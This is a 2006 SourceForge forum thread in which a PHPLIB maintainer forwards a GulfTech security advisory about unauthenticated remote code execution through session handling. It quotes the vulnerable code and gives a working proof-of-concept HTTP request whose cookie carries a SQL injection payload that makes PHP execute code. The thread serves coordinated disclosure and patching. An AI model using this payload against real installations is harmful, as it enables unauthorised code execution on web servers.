PHPLIB Remote Code Execution

  • gulftech

    gulftech - 2006-02-22


    I reported this issue to all of the developers I could find on the PHPLIB about page some time ago, but still have heard nothing back. Does anyone know a way that I can contact the PHPLIB developers?

    Kind Regards,


    • anze

      anze - 2006-03-08

      I see you have made it and that 7.4a was released. Since I have many projects that use phplib I would like to know a bit more about this possible remote code execution exploit. I understand that it would not be wise to list all of the details, but could you at least elaborate a bit more? I mean, is the exploit applicable to all installations? Just so I know if I have to upgrade all of my pages to a new version or not.


      • Richard Archer

        Richard Archer - 2006-03-08

        I posted this to the phplib-users mailing list last week but it isn't in the archive:

        From: Richard Archer <>
        Subject: [Phplib-users] Upcoming GulfTech Security Research advisory
        Date: Thu, 2 Mar 2006 14:27:23 +1100


        James at GulfTech Security Research has kindly allowed me to
        post a draft of his upcoming security advisory to this list
        before he releases it to the general community. This will give
        PHPLIB users some time to upgrade before any potential exploit
        becomes available.

        I believe this only effects, not
        So if you are using PHPLIB with php4 sessions, this particular
        problem shouldn't be an issue for you.

        The solution to this vulnerability is to upgrade to 7.4a
        which is available from our Sourceforge download page:

        Or if you prefer, manually apply a patch to php/

        My thanks to James at GulfTech Security Research for alerting
        us to this problem and allowing time to release a solution
        before releasing the advisory.


        ---begin forwarded text

        GulfTech Security Research Advisory

        Remote Code Execution:
        There are some serious security issues in phplib's session
        handling that may allow an attacker to perform a range of
        attacks such as SQL Injection, and/or Remote Code Execution.

        ## Propagate the session id according to mode and lifetime.
        ## Will create a new id if necessary. To take over abandoned sessions,
        ## one may provide the new session id as a parameter (not recommended).

        function get_id($id = "") {

        $this->name = $this->cookiename==""?$this->classname:$this->cookiename;

        if ( "" == $id ) {
           switch ($this->mode) {
             case "get":
               $id = isset($HTTP_GET_VARS[$this->name]) ?
                     $HTTP_GET_VARS[$this->name] :
                     ( isset($HTTP_POST_VARS[$this->name]) ?
                     $HTTP_POST_VARS[$this->name] :
                     "") ;
             case "cookie":
               $id = isset($HTTP_COOKIE_VARS[$this->name]) ?
                     $HTTP_COOKIE_VARS[$this->name] : "";
               die("This has not been coded yet.");

        ### do not accept user provided ids for creation
        if($id != "" && $this->block_alien_sid) {   # somehow an id was provided
        by the user
            if($this->that->ac_get_value($id, $this->name) == "") {
               # no - the id doesn't exist in the database: Ignore it!
               $id = "";

        The above code is from @ lines 85-121. The variable
        $id gets it's values from either GET or COOKIE and is never made
        safe before being passed to the function ac_get_value() which uses
        the variable in a query, thus allowing for SQL Injection. However,
        it is possible to manipulate the query in a way that php code is
        returned and passed to a vulnerable eval call.

        GET /phplib/pages/index.php3 HTTP/1.1
        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:
        Gecko/20060111 Firefox/
        Accept-Language: en-us,en;q=0.5
        Accept-Encoding: gzip,deflate
        Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
        Keep-Alive: 300
        Connection: keep-alive
        Cookie: Example_Session=' UNION SELECT 'cGhwaW5mbygpOw=='/*
        If-Modified-Since: Sat, 18 Feb 2006 18:24:34 GMT

        For example, the above request made to the index.php3 script that
        is shipped with phplib will successfully execute the phpinfo call.
        This could obviously be used for more sinister purposes such as
        running arbitrary system commands and the like. Also, since user
        authentication is not necessary to exploit this vulnerability, the
        risk of being exploited is much higher.

        ---end forwarded text

        This SF.Net email is sponsored by xPML, a groundbreaking scripting language
        that extends applications into web and mobile media. Attend the live webcast
        and join the prime developer group breaking into this new coding territory!
        Phplib-users mailing list

    • anze

      anze - 2006-03-19

      Thank you for your reply!
      Yes, I see, the problem is with ac_get_value not using addslasses() and input not being sanified.

      Fortunately this only applies to and not, so there are only a few of my projects that need upgrading.

      Thanks again, happy coding!



Get latest updates about Open Source Projects, Conferences and News.

Sign up for the SourceForge newsletter:

No, thanks